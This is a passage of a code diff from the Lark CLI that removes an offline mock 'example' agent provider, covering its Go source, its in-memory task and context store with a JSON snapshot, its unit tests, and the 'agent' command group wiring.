p.FileInput = true
p.InputRequired = true
}
return p, nil
}
// describe supplies the per-agent Card metadata and validates the agent_id
// (StaticCatalog.Describe returns a typed unknown-id error). Capabilities are
// derived by the framework from the wired fields, so Describe never touches them.
func (s *state) describe(ctx context.Context) (*agent.CardInfo, error) {
return catalog.Describe(s.agentID)
}
// listAgents enumerates the catalog: `agent list example` goes here.
func (s *state) listAgents(ctx context.Context) ([]agent.AgentSummary, error) {
return catalog.ListAgents(ctx)
}
// send sends one message: the first turn generates a context_id to start a new
// conversation, and --context-id continues within the same conversation. The
// mock task has no async execution body, so send immediately returns in the
// completed terminal state — the command layer's meta.next therefore directly
// gives the terminal-state suggestion "view task detail and artifacts" rather
// than a polling command.
//
// Teaching point (IsTerminal): IsTerminal is filled in here for convenience, but
// leaving it out would be fine — the command layer's normalizeTask always
// re-derives this field from State (single source), so a provider filling it in
// wrong does not affect the watch exit code.
func (s *state) send(ctx context.Context, in agent.SendInput) (*agent.AgentTask, error) {
entry, err := catalog.Lookup(s.agentID)
if err != nil {
return nil, err
}
// The mock task is instantly terminal, so there is no "feed input to a running
// task" scenario. Continuing via --task-id returns failed_precondition: the
// request itself is valid but the target resource's state does not satisfy it
// — reading this subtype, the AI knows to "try a different way" (start a new
// task) rather than retry as-is. (This is a genuine runtime precondition, not
// a capability gate — hence a typed error here, not an unwired field.)
if in.TaskID != "" {
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
"example 的任务发出即完成(终态),无法向已有任务续发").
WithParam("--task-id").
WithHint("去掉 --task-id用 --context-id 在同一会话起新一轮任务")
}
ctxID := in.ContextID
if ctxID == "" {
// First turn: generate a context_id (the anchor for the multi-turn
// context; later sends use it to continue the conversation).
ctxID, err = store.createContext(s.agentID, truncateTitle(in.Text))
if err != nil {
return nil, err
}
}
// createTask validates context ownership while holding the lock (an unknown /
// cross-agent context id is rejected inside with a typed validation error),
// computes the round, and inserts atomically; the build callback only
// assembles the task body according to the round.
task, err := store.createTask(s.agentID, ctxID, func(round int) agent.AgentTask {
var reply string
switch entry.ID {
case "echo":
// Echo the input; from round 2 on, add a round marker to prove
// across commands that context memory really works.
reply = in.Text
if round > 1 {
reply = fmt.Sprintf("%s第 %d 轮)", in.Text, round)
}
default: // reporter
reply = "报表已生成quarterly_report.csv见 artifacts用 task get --artifact <id> -o <path> 下载)"
if n := len(in.Files); n > 0 {
reply = fmt.Sprintf("已收到 %d 个附件;%s", n, reply)
}
}
t := agent.AgentTask{
TaskID: newID("task"),
ContextID: ctxID,
State: agent.StateCompleted,
IsTerminal: true,
Messages: []agent.Message{
{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
},
}
if entry.ID == "reporter" {
// The artifact exposes only fields the provider can truly deliver
// (the contract.go rule: do not create empty shell fields that cannot
// be filled): the GetTask stage gives ID + Kind (a coarse-grained type
// hint), while the file name / mime are exposed at the
// DownloadArtifact stage as suggested_name.
t.Artifacts = []agent.Artifact{{ID: newID("art"), Kind: "text"}}
}
return t
})
if err != nil {
return nil, err
}
return &task, nil
}
// getTask queries a single task's state and artifacts (reads the in-memory state machine).
func (s *state) getTask(ctx context.Context, taskID string) (*agent.AgentTask, error) {
if _, err := catalog.Lookup(s.agentID); err != nil {
return nil, err
}
task, err := store.getTask(s.agentID, taskID)
if err != nil {
return nil, err
}
return &task, nil
}
// listTasks lists tasks, optionally filtered by contextID (empty string means no filter).
func (s *state) listTasks(ctx context.Context, contextID string) ([]agent.TaskSummary, error) {
if _, err := catalog.Lookup(s.agentID); err != nil {
return nil, err
}
return store.listTasks(s.agentID, contextID), nil
}
// cancelTask cancels a task. It is wired only for reporter (task_cancel=true), so
// echo never reaches it — the command layer gates echo's cancel on the nil field
// and returns unsupported_capability before any provider code runs. The mock
// task is completed the moment it is sent, so canceling a terminal task returns a
// failed_precondition typed error (state not satisfied, exit 2) rather than
// pretending success — honest error semantics matter as much as honest capability
// wiring.
func (s *state) cancelTask(ctx context.Context, taskID string) error {
if _, err := catalog.Lookup(s.agentID); err != nil {
return err
}
task, err := store.getTask(s.agentID, taskID)
if err != nil {
return err
}
if task.State.IsTerminal() {
return errs.NewValidationError(errs.SubtypeFailedPrecondition,
"任务 '%s' 已处于终态 %s无法取消", taskID, task.State).
WithHint("终态任务不可取消;用 lark-cli agent task get example:%s %s 查看结果", s.agentID, taskID)
}
return store.setTaskState(taskID, agent.StateCanceled)
}
// listContexts lists multi-turn contexts.
func (s *state) listContexts(ctx context.Context) ([]agent.ContextSummary, error) {
if _, err := catalog.Lookup(s.agentID); err != nil {
return nil, err
}
return store.listContexts(s.agentID), nil
}
// getContext returns a single context's detail (including its task list).
func (s *state) getContext(ctx context.Context, ctxID string) (*agent.ContextDetail, error) {
if _, err := catalog.Lookup(s.agentID); err != nil {
return nil, err
}
return store.getContext(s.agentID, ctxID)
}
// deleteContext deletes a context (a destructive operation; the --yes gate is in the command layer).
func (s *state) deleteContext(ctx context.Context, ctxID string) error {
if _, err := catalog.Lookup(s.agentID); err != nil {
return err
}
return store.deleteContext(s.agentID, ctxID)
}
// reportCSV is the fixed content of the reporter artifact (inline text, demonstrating a Bytes-type artifact).
const reportCSV = "quarter,revenue,cost,margin\n" +
"2026Q1,1250,830,0.336\n" +
"2026Q2,1410,905,0.358\n"
// downloadArtifact fetches artifact data. It is wired only for reporter
// (artifact_download=true); echo never reaches it (gated on the nil field).
// example uses the inline Bytes type (the command layer writes it to disk
// directly); the URL type (a real provider's signed URL) fills the URL field, and
// SSRF validation plus the download are handled uniformly by the command layer.
//
// Teaching point (suggested_name): ArtifactData.Name is the "server-suggested
// file name", echoed back only as a suggested_name for the caller to reference
// when choosing -o — it is untrusted input and must never participate in
// constructing the local save path (the contract.go rule; the save path is
// always determined by -o/SafeOutputPath).
func (s *state) downloadArtifact(ctx context.Context, taskID, artifactID string) (*agent.ArtifactData, error) {
if _, err := catalog.Lookup(s.agentID); err != nil {
return nil, err
}
task, err := store.getTask(s.agentID, taskID)
if err != nil {
return nil, err
}
for _, a := range task.Artifacts {
if a.ID == artifactID {
return &agent.ArtifactData{
Name: "quarterly_report.csv",
Mime: "text/csv",
Bytes: []byte(reportCSV),
}, nil
}
}
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", s.agentID, taskID)
}
// truncateTitle takes the first few characters of the message as the
// conversation title (truncated by rune to avoid cutting a character in half).
func truncateTitle(s string) string {
const max = 20
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max]) + "…"
}

View File

@@ -1,311 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package example
import (
"context"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/agent/agenttest"
)
// swapStore replaces the package-level store with an isolated instance pointing at
// t.TempDir, so tests do not pollute each other or the local demo snapshot.
func swapStore(t *testing.T) {
t.Helper()
old := store
store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
t.Cleanup(func() { store = old })
}
// buildProvider builds an example *Provider with zero-value Deps (the mock never needs a Client).
func buildProvider(t *testing.T, agentID string) *agent.Provider {
t.Helper()
p, err := newProvider(agent.Deps{}, agentID)
if err != nil {
t.Fatalf("newProvider: %v", err)
}
return p
}
// TestConformance runs the shared conformance suite: locking registration metadata,
// the zero-value Deps contract, the single-source Card, and catalog enumeration (the
// discovery group automatically verifies ListAgents contains example:echo and enumerates stably).
func TestConformance(t *testing.T) {
agenttest.RunConformance(t, scheme, "echo")
}
// TestConformanceReporter runs it again with reporter, so both catalog entries are locked by the contract.
func TestConformanceReporter(t *testing.T) {
agenttest.RunConformance(t, scheme, "reporter")
}
// TestCapabilityMatrixDiverges pins the deliberate difference between the two agents'
// capability matrices (the core of the teaching demo: honest capability declaration
// plus task_cancel true for one and false for the other).
func TestCapabilityMatrixDiverges(t *testing.T) {
// The card matrix is derived from which Provider fields the Factory wires per
// agent, so DeriveCapabilities over the two constructed providers is the
// single source under test.
ec := agent.DeriveCapabilities(buildProvider(t, "echo"))
rc := agent.DeriveCapabilities(buildProvider(t, "reporter"))
if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
t.Errorf("echo should be the minimal capability set (no artifact/file/cancel), got %+v", ec)
}
if !ec.MultiTurn || !ec.TaskGet || !ec.TaskList {
t.Errorf("echo should support multi_turn/task_get/task_list, got %+v", ec)
}
if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.MultiTurn && rc.TaskGet && rc.TaskList) {
t.Errorf("reporter should have everything enabled, got %+v", rc)
}
}
// TestEchoMultiTurn verifies multi-turn context memory: the first turn echoes the
// original text and generates a context_id, and a follow-up in the same context
// echoes with a turn marker.
func TestEchoMultiTurn(t *testing.T) {
swapStore(t)
p := buildProvider(t, "echo")
ctx := context.Background()
t1, err := p.Send(ctx, agent.SendInput{Text: "hello"})
if err != nil {
t.Fatalf("first-turn Send: %v", err)
}
if t1.State != agent.StateCompleted {
t.Fatalf("send should be immediately completed, got %s", t1.State)
}
if t1.ContextID == "" || t1.TaskID == "" {
t.Fatalf("first turn should generate context_id/task_id: %+v", t1)
}
if got := agentReply(t, t1); got != "hello" {
t.Fatalf("first-turn echo should be the original text, got %q", got)
}
t2, err := p.Send(ctx, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
if err != nil {
t.Fatalf("follow-up Send: %v", err)
}
if t2.ContextID != t1.ContextID {
t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
}
if got := agentReply(t, t2); got != "再来(第 2 轮)" {
t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
}
// GetTask / ListTasks / ListContexts / GetContext read the same state machine.
got, err := p.GetTask(ctx, t2.TaskID)
if err != nil {
t.Fatalf("GetTask: %v", err)
}
if agentReply(t, got) != "再来(第 2 轮)" {
t.Fatalf("GetTask should replay the stored messages, got %+v", got.Messages)
}
tasks, err := p.ListTasks(ctx, t1.ContextID)
if err != nil {
t.Fatal(err)
}
if len(tasks) != 2 {
t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
}
ctxs, err := p.ListContexts(ctx)
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
}
detail, err := p.GetContext(ctx, t1.ContextID)
if err != nil {
t.Fatal(err)
}
if len(detail.Tasks) != 2 {
t.Fatalf("context detail should contain 2 tasks, got %+v", detail)
}
}
// TestStateSurvivesReload pins the cross-process semantics: swapping in a new store
// instance pointing at the same snapshot file (simulating a new CLI process), the task
// is still queryable -- the offline demo chain depends on this.
func TestStateSurvivesReload(t *testing.T) {
swapStore(t)
p := buildProvider(t, "echo")
task, err := p.Send(context.Background(), agent.SendInput{Text: "persist"})
if err != nil {
t.Fatal(err)
}
// A new store instance = a new process view; only the snapshot file is shared memory.
store = newMemoryStore(store.path)
got, err := p.GetTask(context.Background(), task.TaskID)
if err != nil {
t.Fatalf("GetTask after reload: %v", err)
}
if got.ContextID != task.ContextID {
t.Fatalf("task should replay fully after reload: %+v", got)
}
}
// TestReporterArtifactFlow verifies the full artifact chain: send produces {ID, Kind:text},
// and DownloadArtifact returns inline Bytes + suggested_name.
func TestReporterArtifactFlow(t *testing.T) {
swapStore(t)
p := buildProvider(t, "reporter")
ctx := context.Background()
task, err := p.Send(ctx, agent.SendInput{Text: "本季度报表"})
if err != nil {
t.Fatal(err)
}
if len(task.Artifacts) != 1 {
t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
}
art := task.Artifacts[0]
if art.ID == "" || art.Kind != "text" {
t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
}
data, err := p.DownloadArtifact(ctx, task.TaskID, art.ID)
if err != nil {
t.Fatalf("DownloadArtifact: %v", err)
}
if data.Name != "quarterly_report.csv" {
t.Errorf("suggested_name should be quarterly_report.csv, got %q", data.Name)
}
if data.Mime != "text/csv" {
t.Errorf("mime should be text/csv, got %q", data.Mime)
}
if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
}
// Unknown artifact id -> typed validation error.
if _, err := p.DownloadArtifact(ctx, task.TaskID, "art_nope"); err == nil {
t.Fatal("unknown artifact id should return an error")
} else if _, ok := errs.ProblemOf(err); !ok {
t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
}
}
// TestEchoUnwiredCapabilities verifies the new capability model: echo (the
// minimal set) simply leaves CancelTask / DownloadArtifact unwired and FileInput
// false. There is no capability-refusal code — the command layer gates on the
// nil fields and returns unsupported_capability before any provider method runs.
func TestEchoUnwiredCapabilities(t *testing.T) {
p := buildProvider(t, "echo")
if p.CancelTask != nil {
t.Error("echo should not wire CancelTask (task_cancel=false)")
}
if p.DownloadArtifact != nil {
t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
}
if p.FileInput {
t.Error("echo should not accept file input (file_input=false)")
}
}
// TestReporterCancelTerminal verifies reporter supports cancel but returns a
// failed_precondition typed error for a terminal task (the mock task is completed
// as soon as it is sent).
func TestReporterCancelTerminal(t *testing.T) {
swapStore(t)
p := buildProvider(t, "reporter")
ctx := context.Background()
task, err := p.Send(ctx, agent.SendInput{Text: "报表"})
if err != nil {
t.Fatal(err)
}
err = p.CancelTask(ctx, task.TaskID)
if err == nil {
t.Fatal("canceling a terminal task should return an error")
}
prob, ok := errs.ProblemOf(err)
if !ok {
t.Fatalf("terminal cancel should be a typed error, got %T: %v", err, err)
}
if prob.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("terminal cancel subtype should be failed_precondition, got %s", prob.Subtype)
}
}
// TestUnknownCatalogID verifies an unknown catalog id goes through StaticCatalog.Lookup's
// typed error (invalid_argument, with a hint pointing to agent list example).
func TestUnknownCatalogID(t *testing.T) {
swapStore(t)
p := buildProvider(t, "nonexistent")
ctx := context.Background()
if _, err := agent.BuildCard(ctx, scheme, "nonexistent", p); err == nil {
t.Fatal("BuildCard with an unknown catalog id should return an error (Describe validates the id)")
}
_, err := p.Send(ctx, agent.SendInput{Text: "hi"})
if err == nil {
t.Fatal("Send with an unknown catalog id should return an error")
}
prob, ok := errs.ProblemOf(err)
if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
}
}
// TestSendGuards pins Send's two typed rejections: --task-id follow-up (terminal
// semantics) and an unknown context id.
func TestSendGuards(t *testing.T) {
swapStore(t)
p := buildProvider(t, "echo")
ctx := context.Background()
_, err := p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
}
_, err = p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown context id should be invalid_argument, got %v", err)
}
}
// TestDeleteContext verifies deleting a context also cleans up the tasks under it.
func TestDeleteContext(t *testing.T) {
swapStore(t)
p := buildProvider(t, "echo")
ctx := context.Background()
task, err := p.Send(ctx, agent.SendInput{Text: "bye"})
if err != nil {
t.Fatal(err)
}
if err := p.DeleteContext(ctx, task.ContextID); err != nil {
t.Fatal(err)
}
if _, err := p.GetTask(ctx, task.TaskID); err == nil {
t.Fatal("after deleting the context its tasks should be unqueryable")
}
ctxs, err := p.ListContexts(ctx)
if err != nil {
t.Fatal(err)
}
if len(ctxs) != 0 {
t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
}
}
// agentReply returns the first text reply from the agent role in the task.
func agentReply(t *testing.T, task *agent.AgentTask) string {
t.Helper()
for _, m := range task.Messages {
if m.Role != "agent" {
continue
}
for _, part := range m.Parts {
if part.Type == "text" {
return part.Text
}
}
}
t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
return ""
}

View File

@@ -1,324 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package example
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"os"
"path/filepath"
"sort"
"sync"
"time"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/vfs"
)
// ============================================================================
// In-memory state machine (teaching focus: concurrency safety of package-level
// state + the CLI process boundary)
//
// A real provider's context/task state lives on the server, so the adapter is
// naturally stateless; example is a pure mock and must manage state itself. Two
// disciplines the integrator needs to know:
//
// 1. Concurrency safety: provider instances may be constructed / called
// concurrently (e.g. list's probe alongside the real call), so package-level
// mutable state must be locked. A single coarse-grained Mutex covers all
// reads and writes here — the mock does not chase throughput; correctness comes first.
// 2. CLI process boundary: every lark-cli command is a fresh process, so a pure
// in-memory map does not survive a single command — after `send`, a
// `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
// the in-memory map (under os.TempDir, last-writer-wins) to make the offline
// demo chain work across commands. A real provider neither needs nor should
// have this layer — it is a mock-only demo device.
//
// Note that the snapshot is loaded lazily (only on the first real read/write of
// state): Register's zero-value Deps probe constructs a provider once at
// registration time, and construction must have no side effects (the registry.go
// contract), so Factory / Card / ListAgents must not touch store.
// ============================================================================
// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
// + creation sequence number (list output sorts by creation order to guarantee
// stable enumeration).
type taskRecord struct {
AgentID string `json:"agent_id"`
Seq int `json:"seq"`
Task agent.AgentTask `json:"task"`
}
// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
// demonstrate "context memory".
type contextRecord struct {
AgentID string `json:"agent_id"`
ContextID string `json:"context_id"`
CreatedAt string `json:"created_at"`
Title string `json:"title,omitempty"`
Seq int `json:"seq"`
TaskIDs []string `json:"task_ids"`
}
// memoryStore is the package-level state machine itself: mu covers all fields;
// path is the JSON snapshot location; loaded ensures the snapshot is read only
// once, on first access.
type memoryStore struct {
mu sync.Mutex
path string
loaded bool
Contexts map[string]*contextRecord `json:"contexts"`
Tasks map[string]*taskRecord `json:"tasks"`
NextSeq int `json:"next_seq"`
}
// store is the package-level singleton. Tests use swapStoreForTest to replace it
// with an instance pointing at t.TempDir, avoiding cross-contamination between
// tests and between tests and the local demo state.
var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
func newMemoryStore(path string) *memoryStore {
return &memoryStore{
path: path,
Contexts: map[string]*contextRecord{},
Tasks: map[string]*taskRecord{},
}
}
// loadLocked lazily reads in the snapshot (the caller must already hold the
// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
// mock's demo data is not worth erroring over, so it just starts fresh.
func (s *memoryStore) loadLocked() {
if s.loaded {
return
}
s.loaded = true
data, err := vfs.ReadFile(s.path)
if err != nil {
return
}
var snap memoryStore
if json.Unmarshal(data, &snap) != nil {
return
}
if snap.Contexts != nil {
s.Contexts = snap.Contexts
}
if snap.Tasks != nil {
s.Tasks = snap.Tasks
}
s.NextSeq = snap.NextSeq
}
// saveLocked writes the current state back to the snapshot (the caller must
// already hold the lock). A write failure returns a typed internal error
// (storage subtype) — the mock does not swallow errors either: silently losing
// state would make the next command report "task not found", which is harder to
// diagnose than a clear error.
func (s *memoryStore) saveLocked() error {
data, err := json.MarshalIndent(s, "", " ")
if err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
}
if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
}
return nil
}
// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
// deliberately aligns with the command layer's meta.next interpolation
// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
// string "the AI copies and runs", and an id with shell metacharacters would
// cause the whole hint to be suppressed.
func newID(prefix string) string {
var b [6]byte
if _, err := rand.Read(b[:]); err != nil {
// crypto/rand being unavailable is an environment-level failure; the mock
// degrades to a timestamp that still satisfies the character set.
return prefix + "_" + time.Now().UTC().Format("20060102150405")
}
return prefix + "_" + hex.EncodeToString(b[:])
}
// createContext creates a new context and returns its id (the first-turn send goes here).
func (s *memoryStore) createContext(agentID, title string) (string, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
id := newID("ctx")
s.NextSeq++
s.Contexts[id] = &contextRecord{
AgentID: agentID,
ContextID: id,
CreatedAt: time.Now().UTC().Format(time.RFC3339),
Title: title,
Seq: s.NextSeq,
}
return id, s.saveLocked()
}
// createTask appends a task under ctxID: validate context ownership → compute
// the round (which task number in this conversation) → call build under the lock
// to construct the task → insert and write the snapshot. build runs inside the
// lock to guarantee "compute the round" and "store the task" are atomic, so two
// concurrent sends never get the same round.
// An unknown / cross-agent context id returns a typed validation error (teaching
// point: every error a provider returns must be typed — a bare error would land
// as internal/exit 5, whereas this is clearly "the caller passed a wrong
// argument", semantically invalid_argument/exit 2, and the AI relies on this
// classification to decide between "fix the argument and retry" and "report an
// environment failure").
func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
}
task := build(len(ctx.TaskIDs) + 1)
s.NextSeq++
s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
return task, s.saveLocked()
}
// getTask fetches a task snapshot by id (returns a copy by value, so the command
// layer's in-place edits like normalizeTask do not write through to store). A
// cross-agent task is treated as "not found", without leaking another agent's state.
func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok || rec.AgentID != agentID {
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 task id '%s'example:%s 名下不存在)", taskID, agentID).
WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
}
return rec.Task, nil
}
// setTaskState updates a task's state (used by reporter's cancel).
func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
rec, ok := s.Tasks[taskID]
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
}
rec.Task.State = state
rec.Task.IsTerminal = state.IsTerminal()
return s.saveLocked()
}
// listTasks lists an agent's task summaries, optionally filtered by contextID
// (empty string means no filter), output in creation order. IsTerminal is
// carried along here for convenience, but the command layer re-derives it from
// State via normalizeTask* (single source), so the integrator need not worry
// about this field.
func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
recs := make([]*taskRecord, 0, len(s.Tasks))
for _, rec := range s.Tasks {
if rec.AgentID != agentID {
continue
}
if contextID != "" && rec.Task.ContextID != contextID {
continue
}
recs = append(recs, rec)
}
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
out := make([]agent.TaskSummary, 0, len(recs))
for _, rec := range recs {
out = append(out, agent.TaskSummary{
TaskID: rec.Task.TaskID,
ContextID: rec.Task.ContextID,
State: rec.Task.State,
IsTerminal: rec.Task.IsTerminal,
})
}
return out
}
// listContexts lists an agent's context summaries, output in creation order.
func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
recs := make([]*contextRecord, 0, len(s.Contexts))
for _, ctx := range s.Contexts {
if ctx.AgentID == agentID {
recs = append(recs, ctx)
}
}
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
out := make([]agent.ContextSummary, 0, len(recs))
for _, ctx := range recs {
out = append(out, agent.ContextSummary{
ContextID: ctx.ContextID,
CreatedAt: ctx.CreatedAt,
Title: ctx.Title,
})
}
return out
}
// getContext returns a context's detail (including its task summaries, in creation order).
func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
}
detail := &agent.ContextDetail{
ContextID: ctx.ContextID,
CreatedAt: ctx.CreatedAt,
Title: ctx.Title,
}
for _, tid := range ctx.TaskIDs {
if rec, ok := s.Tasks[tid]; ok {
detail.Tasks = append(detail.Tasks, agent.TaskSummary{
TaskID: rec.Task.TaskID,
ContextID: rec.Task.ContextID,
State: rec.Task.State,
IsTerminal: rec.Task.IsTerminal,
})
}
}
return detail, nil
}
// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
func (s *memoryStore) deleteContext(agentID, ctxID string) error {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
}
for _, tid := range ctx.TaskIDs {
delete(s.Tasks, tid)
}
delete(s.Contexts, ctxID)
return s.saveLocked()
}

View File

@@ -1,19 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package agent is the top-level business layer that wires the in-repo agent
// providers into the framework registry (internal/agent). It mirrors the events
// layering: the framework/SPI lives in internal/agent, the concrete providers
// live under agent/<scheme>/, and this package blank-imports each so their
// init() self-registration runs. Blank-import this package from cmd to populate
// the provider registry.
//
// To onboard a new provider: add its package under agent/<scheme>/ and add one
// matching blank import below.
package agent
import (
// example is the in-repo onboarding template and offline demo provider
// (in-memory mock, zero network); its init() registers the "example" scheme.
_ "github.com/larksuite/cli/agent/example"
)

View File

@@ -1,29 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/internal/cmdutil"
)
// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
// that drives remote A2A agents with constant verbs. It is a pure group with
// no RunE, so an unknown subcommand is reported rather than silently
// swallowed. All five verbs (list/card/send/task/context) are wired here; task
// and context are themselves nested groups.
func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "agent",
Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
Long: "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
}
cmd.AddCommand(NewCmdAgentList(f))
cmd.AddCommand(NewCmdAgentCard(f))
cmd.AddCommand(NewCmdAgentSend(f, nil))
cmd.AddCommand(NewCmdAgentTask(f))
cmd.AddCommand(NewCmdAgentContext(f))
return cmd
}

View File

@@ -1,34 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import "testing"
// TestAgentCommandTree pins the shape of the `agent` command tree: the group
// itself must have no RunE/Run (a bare group whose unknown subcommands surface
// an error rather than being silently swallowed), and it must expose all five
// verbs plus the nested task/context sub-groups.
func TestAgentCommandTree(t *testing.T) {
cmd := NewCmdAgent(nil)
if cmd.RunE != nil || cmd.Run != nil {
t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
}
want := []string{"list", "card", "send", "task", "context"}
for _, name := range want {
if findSub(cmd, name) == nil {
t.Errorf("missing subcommand %s", name)
}
}
// task/context are nested groups
if task := findSub(cmd, "task"); task == nil {
t.Error("missing agent task group")
} else if findSub(task, "get") == nil {
t.Error("missing agent task get")
}
if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
t.Error("missing agent context group")
} else if findSub(ctxCmd, "delete") == nil {
t.Error("missing agent context delete")
}
}

View File

@@ -1,181 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"fmt"
"io"
"strings"
"github.com/spf13/cobra"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
// cardOptions holds all inputs for `agent card <ref>`.
type cardOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
As string
Format string
}
// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
// capability card. Adapters synthesize the card statically from their known
// capability matrix — no API call is made, and the command works offline /
// under mock. Risk=read.
func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
opts := &cardOptions{Factory: f}
cmd := &cobra.Command{
Use: "card <agent_ref>",
Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
